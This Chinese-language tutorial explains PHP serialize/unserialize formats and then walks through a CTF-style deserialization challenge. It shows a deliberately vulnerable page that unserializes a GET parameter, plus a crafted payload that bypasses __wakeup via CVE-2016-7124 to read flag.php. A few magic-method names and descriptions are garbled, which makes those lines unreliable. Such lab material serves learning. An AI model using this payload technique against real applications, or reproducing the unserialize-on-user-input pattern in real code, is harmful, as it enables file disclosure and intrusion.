PHP序列化:serialize
序列化是将变量或对象转换成字符串的过程。
举例:
<?php
class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct:创建对象时初始化$this->name = $name;$this->age = $age;$this->height = $height;}}$man=new man("Bob",5,20);
var_dump(serialize($man));?>
输出:
string(67) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}"
Object(O): O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
Boolean(b): b:value;(0或1)
double(d)
integer(i): i:value;
array(a): a:<length>:{key,keyvalue}
string(s): s:<length>:value;
null(N)
PHP反序列化:unserialize
反序列化是将字符串转换成变量或对象的过程。
举例:
<?php
class man{public $name;public $age;public $height;function __construct($name,$age,$height){$this->name = $name;$this->age = $age;$this->height = $height;}}$man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man));?>
输出:
object(man)#1 (3) {["name"]=>string(3) "Bob"["age"]=>int(5)["height"]=>int(20)
}
反序列化漏洞
两个条件:
- unserialize()函数的参数可控
- php中有可以利用的类并且类中有魔幻函数
魔幻函数:
_construct():创建对象时初始化
_destruction():结束时销毁对象
_toString():对象被当作字符串时使用
_sleep():序列化对象之前调用
_wakeup():反序列化之前调用
_call():调用对象不存在时使用
_get():调用私有属性时使用
举例
index.php
<?phpclass SoFun{public $file='index.php';function __destruct(){if(!empty($this->file)){if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){echo "<br>";show_source(dirname (__FILE__).'/'.$this ->file);}elsedie('Wrong filename.');}}function __wakeup(){ $this-> file='index.php'; } public function __toString(){return '' ;}}if (!isset($_GET['file'])){show_source('index.php');} else{ $file = $_GET['file']; echo unserialize($file); }
?> <!--key in flag.php-->
flag.php
<?phpecho "key{you got it!!}"?>
代码审计:
- 代码最后提示key在flag.php里,因此我们要想办法读里面的内容。
- 在__destruct()魔术方法中,
show_source(dirname (__FILE__).'/'.$this ->file)
这里是解题的关键,在反序列化之后会自动调用__destruct方法,可以利用这个将flag.php的内容读出来。 - 在__wakeup()魔术方法中,在反序列化后会自动调用__wakeup方法并将file的值置为index.php。
- 我们要想读出flag.php里的内容需要调用__destruct方法而绕过__wakeup方法。
这里要用到CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
构造序列化对象:O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
构造绕过__wakeup:O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}